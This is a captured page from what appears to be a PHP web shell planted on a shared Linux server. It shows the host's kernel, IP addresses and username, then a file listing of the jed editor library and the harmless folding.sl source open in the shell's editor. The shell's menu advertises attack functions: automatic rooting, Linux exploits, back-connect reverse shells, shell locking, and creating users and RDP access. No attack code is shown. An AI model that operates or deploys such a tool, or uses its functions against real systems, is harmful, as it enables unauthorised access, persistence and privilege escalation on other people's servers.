Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.47
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
jed /
lib /
[ HOME SHELL ]
Name
Size
Permission
Action
colors
[ DIR ]
drwxr-xr-x
abbrev.sl
838
B
-rw-r--r--
abbrev.slc
636
B
-rw-r--r--
abbrmisc.sl
2.15
KB
-rw-r--r--
abbrmisc.slc
1.98
KB
-rw-r--r--
aboutjed.hlp
252
B
-rw-r--r--
acompile.sl
2.04
KB
-rw-r--r--
acompile.slc
2.02
KB
-rw-r--r--
aprocess.sl
267
B
-rw-r--r--
aprocess.slc
238
B
-rw-r--r--
ashell.sl
7.69
KB
-rw-r--r--
ashell.slc
6.96
KB
-rw-r--r--
backups.sl
1.41
KB
-rw-r--r--
backups.slc
637
B
-rw-r--r--
bibtex.sl
17.05
KB
-rw-r--r--
bibtex.slc
12.74
KB
-rw-r--r--
binary.sl
589
B
-rw-r--r--
binary.slc
522
B
-rw-r--r--
bookmark.sl
1.6
KB
-rw-r--r--
bookmark.slc
1.2
KB
-rw-r--r--
brief.sl
5.98
KB
-rw-r--r--
buf.sl
3.41
KB
-rw-r--r--
buf.slc
1.96
KB
-rw-r--r--
bufed.sl
6.69
KB
-rw-r--r--
bufed.slc
4.68
KB
-rw-r--r--
bytecomp.sl
3.38
KB
-rw-r--r--
cal.sl
6.4
KB
-rw-r--r--
cal.slc
4.44
KB
-rw-r--r--
chglog.sl
3.13
KB
-rw-r--r--
chglog.slc
2.62
KB
-rw-r--r--
cmisc.sl
4.91
KB
-rw-r--r--
cmisc.slc
4
KB
-rw-r--r--
cmode.dfa
7.58
KB
-rw-r--r--
cmode.sl
40.06
KB
-rw-r--r--
cmode.slc
27.9
KB
-rw-r--r--
comments.sl
7.99
KB
-rw-r--r--
comments.slc
5.93
KB
-rw-r--r--
compat.sl
1.39
KB
-rw-r--r--
compile.sl
11.44
KB
-rw-r--r--
compile.slc
5.83
KB
-rw-r--r--
compress.sl
3.12
KB
-rw-r--r--
compress.slc
2.73
KB
-rw-r--r--
cpright.hlp
464
B
-rw-r--r--
ctags.sl
9.53
KB
-rw-r--r--
ctags.slc
7.34
KB
-rw-r--r--
cua.hlp
385
B
-rw-r--r--
cua.sl
7.56
KB
-rw-r--r--
cua.slc
3.91
KB
-rw-r--r--
cuamisc.sl
5.7
KB
-rw-r--r--
cuamisc.slc
1.63
KB
-rw-r--r--
dabbrev.sl
13.77
KB
-rw-r--r--
dabbrev.slc
8.05
KB
-rw-r--r--
dcl.sl
4.68
KB
-rw-r--r--
dcl.slc
4.5
KB
-rw-r--r--
defaults.sl
1.07
KB
-rw-r--r--
digraph.sl
3.8
KB
-rw-r--r--
digraph.slc
1.04
KB
-rw-r--r--
dired.sl
17.78
KB
-rw-r--r--
dired.slc
12.69
KB
-rw-r--r--
docbook.sl
38.33
KB
-rw-r--r--
docbook.slc
38.41
KB
-rw-r--r--
dos437.sl
998
B
-rw-r--r--
dos850.sl
1.3
KB
-rw-r--r--
dos852.sl
1.14
KB
-rw-r--r--
edt.hlp
1.6
KB
-rw-r--r--
edt.sl
14.55
KB
-rw-r--r--
edt.slc
7.93
KB
-rw-r--r--
emacs.hlp
227
B
-rw-r--r--
emacs.sl
6.86
KB
-rw-r--r--
emacs.slc
6.31
KB
-rw-r--r--
emacsmsc.sl
3.52
KB
-rw-r--r--
emacsmsc.slc
3.52
KB
-rw-r--r--
emul.sl
87
B
-rw-r--r--
f90.sl
22.75
KB
-rw-r--r--
f90.slc
18.39
KB
-rw-r--r--
ff90.sl
56
B
-rw-r--r--
ff90.slc
82
B
-rw-r--r--
filter.sl
646
B
-rw-r--r--
filter.slc
562
B
-rw-r--r--
folding.sl
13.47
KB
-rw-r--r--
folding.slc
11.13
KB
-rw-r--r--
fortran.sl
10.65
KB
-rw-r--r--
fortran.slc
7.79
KB
-rw-r--r--
generic.hlp
135
B
-rw-r--r--
gpg.sl
4.89
KB
-rw-r--r--
gpg.slc
4.51
KB
-rw-r--r--
help.sl
15.37
KB
-rw-r--r--
help.slc
12
KB
-rw-r--r--
history.sl
5.73
KB
-rw-r--r--
history.slc
2.2
KB
-rw-r--r--
hooks.sl
1.95
KB
-rw-r--r--
hooks.slc
1.74
KB
-rw-r--r--
html.dfa
6.13
KB
-rw-r--r--
html.sl
13.63
KB
-rw-r--r--
html.slc
10.06
KB
-rw-r--r--
ide.hlp
1.25
KB
-rw-r--r--
ide.sl
22.57
KB
-rw-r--r--
ide.slc
20.07
KB
-rw-r--r--
idl.sl
5.58
KB
-rw-r--r--
idl.slc
5.34
KB
-rw-r--r--
info.sl
19.92
KB
-rw-r--r--
info.slc
17.16
KB
-rw-r--r--
isearch.sl
7.7
KB
-rw-r--r--
isearch.slc
5.01
KB
-rw-r--r--
iso-lat2.sl
963
B
-rw-r--r--
iso-lat2.slc
1010
B
-rw-r--r--
iso-lat3.sl
1.3
KB
-rw-r--r--
iso-lat3.slc
994
B
-rw-r--r--
iso-latin.sl
625
B
-rw-r--r--
iso-latin.slc
420
B
-rw-r--r--
iso2xxx.sl
1.77
KB
-rw-r--r--
iso2xxx.slc
1.39
KB
-rw-r--r--
ispell.sl
2.99
KB
-rw-r--r--
ispell.slc
2.26
KB
-rw-r--r--
javamode.dfa
7.59
KB
-rw-r--r--
javamode.sl
3.24
KB
-rw-r--r--
javamode.slc
3.29
KB
-rw-r--r--
jed.hlp
356
B
-rw-r--r--
jed.rc
9.43
KB
-rw-r--r--
jed.sl
3.57
KB
-rw-r--r--
jed.slc
4.01
KB
-rw-r--r--
jedhelp.sl
1.43
KB
-rw-r--r--
jedhelp.slc
1.49
KB
-rw-r--r--
jedusage.sl
967
B
-rw-r--r--
jedusage.slc
1.08
KB
-rw-r--r--
keycode.sl
4.46
KB
-rw-r--r--
keydefs.sl
9.21
KB
-rw-r--r--
keydefs.slc
6.63
KB
-rw-r--r--
krconv.sl
1.86
KB
-rw-r--r--
krconv.slc
1.45
KB
-rw-r--r--
latex.sl
27.01
KB
-rw-r--r--
latex.slc
20.94
KB
-rw-r--r--
latex209.sl
2.24
KB
-rw-r--r--
latex209.slc
1.57
KB
-rw-r--r--
linux.sl
821
B
-rw-r--r--
lisp.sl
1.21
KB
-rw-r--r--
lisp.slc
1.1
KB
-rw-r--r--
ltx-comp.dat
2.01
KB
-rw-r--r--
ltx-math.sl
4.12
KB
-rw-r--r--
ltx-math.slc
3.95
KB
-rw-r--r--
lua.sl
13.05
KB
-rw-r--r--
macro.sl
2.08
KB
-rw-r--r--
macro.slc
1.95
KB
-rw-r--r--
mail.sl
4.82
KB
-rw-r--r--
mail.slc
4.17
KB
-rw-r--r--
mailalias.sl
6.21
KB
-rw-r--r--
mailalias.slc
3.61
KB
-rw-r--r--
mailedit.sl
10.79
KB
-rw-r--r--
mailutils.sl
3.52
KB
-rw-r--r--
makemode.sl
6.83
KB
-rw-r--r--
man.sl
1.8
KB
-rw-r--r--
man.slc
948
B
-rw-r--r--
maple.sl
2.14
KB
-rw-r--r--
maple.slc
1.91
KB
-rw-r--r--
matlab.sl
5.07
KB
-rw-r--r--
matlab.slc
4.07
KB
-rw-r--r--
menu.sl
4.7
KB
-rw-r--r--
menu.slc
3.91
KB
-rw-r--r--
menus.sl
2.31
KB
-rw-r--r--
menus.slc
1.74
KB
-rw-r--r--
mime.sl
1.98
KB
-rw-r--r--
mime.slc
1.75
KB
-rw-r--r--
mimemisc.sl
684
B
-rw-r--r--
mimemisc.slc
733
B
-rw-r--r--
mini.sl
4.54
KB
-rw-r--r--
mini.slc
3.73
KB
-rw-r--r--
minued.sl
8.99
KB
-rw-r--r--
minued.slc
4.37
KB
-rw-r--r--
misc.sl
4.01
KB
-rw-r--r--
misc.slc
2.51
KB
-rw-r--r--
modehook.sl
3.71
KB
-rw-r--r--
modehook.slc
1.64
KB
-rw-r--r--
modeinfo.sl
1.6
KB
-rw-r--r--
modeinfo.slc
1.48
KB
-rw-r--r--
most.sl
3.64
KB
-rw-r--r--
most.slc
3.13
KB
-rw-r--r--
mouse.sl
5.15
KB
-rw-r--r--
mousex.sl
8.33
KB
-rw-r--r--
mousex.slc
4.36
KB
-rw-r--r--
mswmouse.sl
6.85
KB
-rw-r--r--
mutekeys.sl
3.19
KB
-rw-r--r--
mutekeys.slc
1.49
KB
-rw-r--r--
nroff.sl
1.09
KB
-rw-r--r--
nroff.slc
709
B
-rw-r--r--
occur.sl
1.48
KB
-rw-r--r--
occur.slc
1.03
KB
-rw-r--r--
os.sl
4.22
KB
-rw-r--r--
paste.sl
509
B
-rw-r--r--
paste.slc
485
B
-rw-r--r--
perl.sl
33.63
KB
-rw-r--r--
perl.slc
13.77
KB
-rw-r--r--
perlxtra.sl
13.1
KB
-rw-r--r--
perlxtra.slc
5.18
KB
-rw-r--r--
php.sl
83.23
KB
-rw-r--r--
php.slc
54.16
KB
-rw-r--r--
pipe.sl
567
B
-rw-r--r--
pipe.slc
579
B
-rw-r--r--
popups.sl
9.03
KB
-rw-r--r--
popups.slc
8.88
KB
-rw-r--r--
preparse.sl
1.69
KB
-rw-r--r--
pscript.dfa
21.64
KB
-rw-r--r--
pscript.sl
4.79
KB
-rw-r--r--
pscript.slc
4.3
KB
-rw-r--r--
pushmode.sl
1.84
KB
-rw-r--r--
pushmode.slc
1.55
KB
-rw-r--r--
pymode.sl
17.24
KB
-rw-r--r--
pymode.slc
12.9
KB
-rw-r--r--
python.dfa
6.54
KB
-rw-r--r--
rcs.sl
4.27
KB
-rw-r--r--
rcs.slc
2.86
KB
-rw-r--r--
recent.sl
4.53
KB
-rw-r--r--
recent.slc
2.73
KB
-rw-r--r--
recentx.sl
10.13
KB
-rw-r--r--
recentx.slc
6.38
KB
-rw-r--r--
regexp.sl
1.63
KB
-rw-r--r--
regexp.slc
1.54
KB
-rw-r--r--
register.sl
4.11
KB
-rw-r--r--
register.slc
3.1
KB
-rw-r--r--
replace.sl
1.39
KB
-rw-r--r--
replace.slc
1.09
KB
-rw-r--r--
rmail.sl
38.64
KB
-rw-r--r--
rmail.slc
35.99
KB
-rw-r--r--
rot13.sl
497
B
-rw-r--r--
rot13.slc
379
B
-rw-r--r--
runpgm.sl
690
B
-rw-r--r--
sccs.sl
4.33
KB
-rw-r--r--
sccs.slc
2.54
KB
-rw-r--r--
search.sl
2.5
KB
-rw-r--r--
search.slc
2.29
KB
-rw-r--r--
seldisp.sl
806
B
-rw-r--r--
seldisp.slc
617
B
-rw-r--r--
sendmail.sl
7.02
KB
-rw-r--r--
sendmail.slc
5.73
KB
-rw-r--r--
session.sl
5.91
KB
-rw-r--r--
session.slc
3.46
KB
-rw-r--r--
shell.sl
6.26
KB
-rw-r--r--
shell.slc
3.32
KB
-rw-r--r--
shmode.dfa
1.57
KB
-rw-r--r--
shmode.sl
2.33
KB
-rw-r--r--
shmode.slc
1.91
KB
-rw-r--r--
simple.hlp
407
B
-rw-r--r--
site.sl
76.36
KB
-rw-r--r--
site.slc
36.67
KB
-rw-r--r--
slmode.dfa
3.22
KB
-rw-r--r--
slmode.sl
7.1
KB
-rw-r--r--
slmode.slc
5.79
KB
-rw-r--r--
sort.sl
1.21
KB
-rw-r--r--
sort.slc
1.13
KB
-rw-r--r--
sortmisc.sl
751
B
-rw-r--r--
sortmisc.slc
546
B
-rw-r--r--
spicemod.sl
1.06
KB
-rw-r--r--
spicemod.slc
1.03
KB
-rw-r--r--
srchmisc.sl
3.22
KB
-rw-r--r--
srchmisc.slc
2.56
KB
-rw-r--r--
syncproc.sl
3.58
KB
-rw-r--r--
syncproc.slc
2.36
KB
-rw-r--r--
syntax.sl
3.05
KB
-rw-r--r--
syntax.slc
1.47
KB
-rw-r--r--
tabs.sl
1.39
KB
-rw-r--r--
tabs.slc
1.31
KB
-rw-r--r--
tclmode.dfa
4.69
KB
-rw-r--r--
tclmode.sl
10.41
KB
-rw-r--r--
tclmode.slc
6.11
KB
-rw-r--r--
tex.sl
2.39
KB
-rw-r--r--
tex.slc
779
B
-rw-r--r--
texcom.dfa
1.5
KB
-rw-r--r--
texcom.sl
4.75
KB
-rw-r--r--
texcom.slc
4.12
KB
-rw-r--r--
textmode.sl
2.05
KB
-rw-r--r--
textmode.slc
974
B
-rw-r--r--
tiasm.sl
1.16
KB
-rw-r--r--
tiasm.slc
1.11
KB
-rw-r--r--
tmisc.sl
841
B
-rw-r--r--
tmisc.slc
786
B
-rw-r--r--
tmmode.sl
2.01
KB
-rw-r--r--
tmmode.slc
1.65
KB
-rw-r--r--
tmpfile.sl
2.83
KB
-rw-r--r--
tmpfile.slc
1.56
KB
-rw-r--r--
tpascal.dfa
7.65
KB
-rw-r--r--
tpascal.sl
5.77
KB
-rw-r--r--
tpascal.slc
5.51
KB
-rw-r--r--
untab.sl
1021
B
-rw-r--r--
untab.slc
569
B
-rw-r--r--
util.sl
544
B
-rw-r--r--
util.slc
293
B
-rw-r--r--
verilog.sl
1.49
KB
-rw-r--r--
verilog.slc
1.52
KB
-rw-r--r--
vhdlmode.sl
8.45
KB
-rw-r--r--
vhdlmode.slc
5.6
KB
-rw-r--r--
vmshelp.sl
2.25
KB
-rw-r--r--
win1250.sl
1.29
KB
-rw-r--r--
wmark.sl
4.36
KB
-rw-r--r--
wmark.slc
3.61
KB
-rw-r--r--
wmenu.sl
4.72
KB
-rw-r--r--
wmenu.slc
4.86
KB
-rw-r--r--
wordstar.hlp
909
B
-rw-r--r--
wordstar.sl
15.56
KB
-rw-r--r--
wordstar.slc
13.93
KB
-rw-r--r--
xformreg.sl
1.7
KB
-rw-r--r--
xformreg.slc
1.36
KB
-rw-r--r--
yankpop.sl
2.21
KB
-rw-r--r--
yankpop.slc
2.01
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : folding.sl
% -*- mode: slang; mode: fold -*- ifnot (is_defined ("Fold_Bob_Eob_Error_Action")) %{{{ { %!%+ %\variable{Fold_Bob_Eob_Error_Action} %\synopsis{Fold_Bob_Eob_Error_Action} %\usage{Integer Fold_Bob_Eob_Error_Action = 1;} %\description % This value of this variable determines the what will happen upon % reaching the boundary of the current fold via the up/down keys. % If the value is 0, an error will be generated; if the value is 1, % the fold will be exited; otherwise, the next/previous fold will be % entered. %!%- variable Fold_Bob_Eob_Error_Action = 1; } %}}} %{{{ Associating fold marks with modes %mode_set_mode_info ("score", "fold_info", "%{{{\r%}}}\r\r"); define fold_get_marks_for_mode () %{{{ { variable mode, fold_marks; fold_marks = mode_get_mode_info ("fold_info"); if (fold_marks == NULL) return ("{{{", "}}}", "", ""); % push the marks on stack foreach (strchop (fold_marks, '\r', 0)) ; } %}}} define fold_get_marks () %{{{ { #ifdef HAS_BLOCAL_VAR ERROR_BLOCK { _clear_error (); error ("Folding mode not enabled for buffer."); } get_blocal_var ("fold_start"); get_blocal_var ("fold_end"); get_blocal_var ("fold_end_of_start"); get_blocal_var ("fold_end_of_end"); #else fold_get_marks_for_mode (); #endif } %}}} %}}} %{{{ Basic functions: private define fold_is_marker_line (start, end_of_start) %{{{ { bol_skip_white (); if (looking_at (start)) { return 1; } eol (); ifnot (bfind (start)) { return 0; } go_right (strlen (__tmp(start))); % skip_white (); % end_of_start = strtrim (__tmp(end_of_start)); % % ifnot (looking_at (end_of_start)) % return 0; () = ffind (end_of_start); go_right (strlen (end_of_start)); skip_white (); eolp (); } %}}} private define fold_find_marker_line (start, end_of_start) %{{{ { bol (); while (fsearch (start)) { if (fold_is_marker_line (start, end_of_start)) return 1; eol (); } return 0; } %}}} private define fold_find_marker_line_reverse (start, end_of_start, hidden_check) %{{{ { eol (); while (bsearch (start)) { if (fold_is_marker_line (start, end_of_start)) { ifnot (hidden_check and is_line_hidden ()) return 1; } bol (); } return 0; } %}}} private define fold_this_fold (start, end, end_of_start, end_of_end, start_level, fold_level) %{{{ { variable level = start_level; while (down_1 ()) { set_line_hidden (level >= fold_level); if (fold_is_marker_line (start, end_of_start)) level++; else if (fold_is_marker_line (end, end_of_end)) { if (level == start_level) break; level--; } } } %}}} define fold_open_buffer () %{{{ { push_spot (); widen_buffer (); mark_buffer (); set_region_hidden (0); pop_spot (); } %}}} define fold_whole_buffer () %{{{ { variable start, end, end_of_start, end_of_end; variable level, fold_level; flush ("folding buffer..."); ERROR_BLOCK { pop_spot (); } push_spot (); fold_open_buffer (); bob (); (start, end, end_of_start, end_of_end) = fold_get_marks (); fold_level = prefix_argument (-1); if (fold_level <= 0) fold_level = 1; while (fold_find_marker_line (start, end_of_start)) { fold_this_fold (start, end, end_of_start, end_of_end, 1, fold_level); ifnot (down_1 ()) break; } pop_spot (); if (is_line_hidden ()) { skip_hidden_lines_backward (1); bol (); } flush ("folding buffer...done"); } %}}} private define fold_is_fold (start, end_of_start) %{{{ { push_spot (); EXIT_BLOCK { pop_spot (); } ifnot (fold_is_marker_line (start, end_of_start)) return 0; % Check to make sure this is not the top of the current fold by making % sure that the next line is hidden. ifnot (down_1 ()) return 0; return is_line_hidden (); } %}}} define fold_open_fold () %{{{ { variable start, end, end_of_start, end_of_end; (start, end, end_of_start, end_of_end) = fold_get_marks (); push_spot (); if (is_line_hidden ()) skip_hidden_lines_backward (1); if (fold_is_fold (start, end_of_start)) { fold_this_fold (start, end, end_of_start, end_of_end, 0, 1); } pop_spot (); } %}}} define fold_enter_fold () %{{{ { variable start, end, end_of_start, end_of_end; variable h; (start, end, end_of_start, end_of_end) = fold_get_marks (); push_spot (); while (fold_find_marker_line_reverse (start, end_of_start, 1)) { push_mark (); if (fold_is_fold (start, end_of_start)) { fold_this_fold (start, end, end_of_start, end_of_end, 0, 1); narrow (); bob (); } else { pop_mark_1 (); break; } goto_spot (); ifnot (is_line_hidden ()) break; } pop_spot (); } %}}} define fold_close_this_fold () %{{{ { variable start, end, end_of_start, end_of_end; (start, end, end_of_start, end_of_end) = fold_get_marks (); ifnot (fold_find_marker_line (start, end_of_start)) error ("Unable to find fold-start"); fold_this_fold (start, end, end_of_start, end_of_end, 1, 1); skip_hidden_lines_backward (1); } %}}} define fold_close_fold () %{{{ { variable start, end, end_of_start, end_of_end; variable beg_mark, end_mark; variable not_in_a_fold = "Not in a fold."; variable end_line; (start, end, end_of_start, end_of_end) = fold_get_marks (); push_spot(); if (fold_is_marker_line (start, end_of_start) && down_1()) { is_line_hidden(); go_up_1(); ifnot (()) { fold_this_fold (start, end, end_of_start, end_of_end, 1, 1); pop_spot(); return; } } beg_mark = create_user_mark (); end_mark = create_user_mark (); forever { if (up_1() && fold_find_marker_line_reverse (end, end_of_end, 0)) { end_line = what_line (); move_user_mark (end_mark); } else end_line= 0; goto_user_mark (beg_mark); if (up_1() && fold_find_marker_line_reverse (start, end_of_start, 0)) { move_user_mark (beg_mark); if ( what_line () > end_line) break; } else { pop_spot (); error (not_in_a_fold); } goto_user_mark (end_mark); } fold_this_fold (start, end, end_of_start, end_of_end, 1, 1); pop_spot(); goto_user_mark (beg_mark); bol(); } %}}} private define fold_exit_fold_internal () %{{{ { ifnot (count_narrows ()) { error ("You are not in a fold."); return; } bob (); widen (); fold_close_this_fold (); } %}}} define fold_exit_fold () %{{{ { fold_exit_fold_internal (); recenter (window_info ('r') / 2); } %}}} define fold_fold_region () %{{{ { variable start, end, end_of_start, end_of_end; check_region (0); (start, end, end_of_start, end_of_end) = fold_get_marks (); % We have a canonical region with point at end. See if this line % is the start of a fold. If so, extend it to cover all of fold. if (fold_is_fold (start, end_of_start)) { skip_hidden_lines_forward (1); ifnot (is_line_hidden ()) go_up_1 (); } narrow (); eob (); newline (); insert (end); insert (end_of_end); newline (); bob (); % Now look at position of beginning of region. If it does not occur on % a blank line, put fold marks at end of line. skip_white (); if (eolp ()) { bol (); insert (start); push_spot (); insert (end_of_start); newline (); } else { eol (); trim (); insert_single_space (); insert (start); insert (end_of_start); bol (); push_spot (); } fold_exit_fold_internal (); pop_spot (); } %}}} %}}} define fold_parse_errors () %{{{ { variable folded; % compile_parse_errors will widen buffer the buffer. As a result, when it % returns, the buffer will be unfolded but some lines may be hidden. Simply % unhide all lines. Also take care to reenter a fold only if buffer is not % folded. compile_parse_errors (); push_spot (); eob (); skip_hidden_lines_backward (0); folded = is_line_hidden (); pop_spot (); if (folded) { push_spot (); fold_open_buffer (); fold_whole_buffer (); pop_spot (); if (is_line_hidden ()) fold_enter_fold (); } } %}}} #ifdef HAS_BLOCAL_VAR define fold_goto_bookmark_hook (mrk) %{{{ { variable folded; while (not (is_user_mark_in_narrow (mrk))) fold_exit_fold_internal (); goto_user_mark (mrk); fold_enter_fold (); } %}}} #endif define fold_bob_eob_error_hook (f) %{{{ { variable str = "Top Of Buffer."; variable start, end, end_of_start, end_of_end; if (f > 0) str = "End Of Buffer."; ifnot (Fold_Bob_Eob_Error_Action) error (str); ifnot (count_narrows () and (abs(f) == 1)) error (str); fold_exit_fold (); % The rest of this function is should be made optional, e.g., % if (Optional_Flag) return; if (Fold_Bob_Eob_Error_Action == 1) return; bol (); if (f > 0) { skip_hidden_lines_forward (1); skip_chars (" \t\n"); } else { bskip_chars (" \t\n"); skip_hidden_lines_backward (1); } (start, end, end_of_start, end_of_end) = fold_get_marks (); if (fold_is_fold (start, end_of_start)) fold_enter_fold (); } %}}} %{{{ mouse interface $1 = "mouse_goto_position"; $2 = "mouse"; ifnot (is_defined ($1)) autoload ($1, $2); define fold_mouse_2click (line, col, but, shift) %{{{ { variable start, end, end_of_start, end_of_end; if (but == 1) { (start, end, end_of_start, end_of_end) = fold_get_marks (); mouse_goto_position (col, line); ERROR_BLOCK { _clear_error (); } if (fold_is_fold (start, end_of_start)) fold_enter_fold (); else fold_exit_fold (); return 1; } return -1; } %}}} %}}} define fold_goto_line () { variable n = read_mini ("Goto Line:", "", ""); ifnot (strlen (n)) return; n = integer (n); fold_open_buffer (); goto_line (n); } %{{{ Interactive searching functions define fold_search_line_ok () %{{{ { not (is_line_hidden ()); } %}}} $1 = "search_generic_search"; $2 = "search"; ifnot (is_defined ($1)) autoload ($1, $2); define fold_search_backward () %{{{ { search_generic_search ("Fold search backward:", -1, &fold_search_line_ok); } %}}} define fold_search_forward () %{{{ { search_generic_search ("Fold search forward:", 1, &fold_search_line_ok); } %}}} %}}} define folding_mode () %{{{ { variable s, s1, e, e1; if (Fold_Mode_Ok == 0) { if (1 != get_yes_no ("Folding mode not enabled. Enable it")) return; Fold_Mode_Ok = 1; } #ifdef HAS_BLOCAL_VAR (s, e, s1, e1) = fold_get_marks_for_mode (); define_blocal_var ("fold_start", s); define_blocal_var ("fold_end_of_start", s1); define_blocal_var ("fold_end", e); define_blocal_var ("fold_end_of_end", e1); define_blocal_var ("bookmark_narrow_hook", ".fold_goto_bookmark_hook"); #endif local_setkey_reserved ("fold_whole_buffer", "^W"); local_setkey_reserved ("fold_enter_fold", ">"); local_setkey_reserved ("fold_exit_fold", "<"); local_setkey_reserved ("fold_open_buffer", "^O"); local_setkey_reserved ("fold_open_fold", "^S"); local_setkey_reserved ("fold_close_fold", "^X"); local_setkey_reserved ("fold_fold_region", "^F"); local_setkey_reserved ("fold_search_forward", "f"); local_setkey_reserved ("fold_search_backward", "b"); set_buffer_hook ("bob_eob_error_hook", "fold_bob_eob_error_hook"); #iffalse set_buffer_hook ("mouse_2click", "fold_mouse_2click"); #endif loop (which_key ("compile_parse_errors")) { local_setkey ("fold_parse_errors", exch ()); } fold_whole_buffer (); run_mode_hooks ("fold_mode_hook"); } %}}} define c_fold_buffer () %{{{ { bob (); ifnot (ffind ("mode: fold")) { insert ("/* -*- mode: C; mode: fold; -*- */\n"); } folding_mode (); fold_open_buffer (); while (bol_fsearch ("{")) { eol (); push_mark (); go_up_1 (); % at eol ifnot (re_bsearch ("^[a-z_A-Z]")) { pop_mark_1 (); continue; } if (ffind ("{{{")) { pop_mark_1 (); continue; } exchange_point_and_mark (); ifnot (bol_fsearch ("}")) { pop_mark_1 (); error ("Matching } at bol not found."); } go_down_1 (); trim (); ifnot (eolp ()) { newline (); go_up_1 (); } push_spot (); fold_fold_region (); pop_spot (); } fold_whole_buffer (); bob (); } %}}} % Fold menu support private define fold_menu_callback (m) { #ifdef HAS_BLOCAL_VAR ifnot (blocal_var_exists ("fold_start")) { menu_append_item (m, "Enable &Folding", "folding_mode"); return; } #endif menu_append_item (m, "&Fold Buffer", "fold_whole_buffer"); menu_append_item (m, "&Unfold Buffer", "fold_open_buffer"); menu_append_item (m, "&Enter Fold", "fold_enter_fold"); menu_append_item (m, "E&xit Fold", "fold_exit_fold"); menu_append_item (m, "&Open Fold", "fold_open_fold"); menu_append_item (m, "&Close Fold", "fold_close_fold"); menu_append_item (m, "Fold &Region", "fold_fold_region"); menu_append_item (m, "&Search Forward", "fold_search_forward"); menu_append_item (m, "S&earch Backward", "fold_search_backward"); } private define install_fold_menus () { menu_delete_item ("Global.&Buffers.Enable &Folding"); menu_append_popup ("Global.&Buffers", "&Folding"); menu_set_select_popup_callback ("Global.&Buffers.&Folding", &fold_menu_callback); } if (Menu_Popups_Loaded) install_fold_menus (); else add_to_hook ("load_popup_hooks", &install_fold_menus);
Close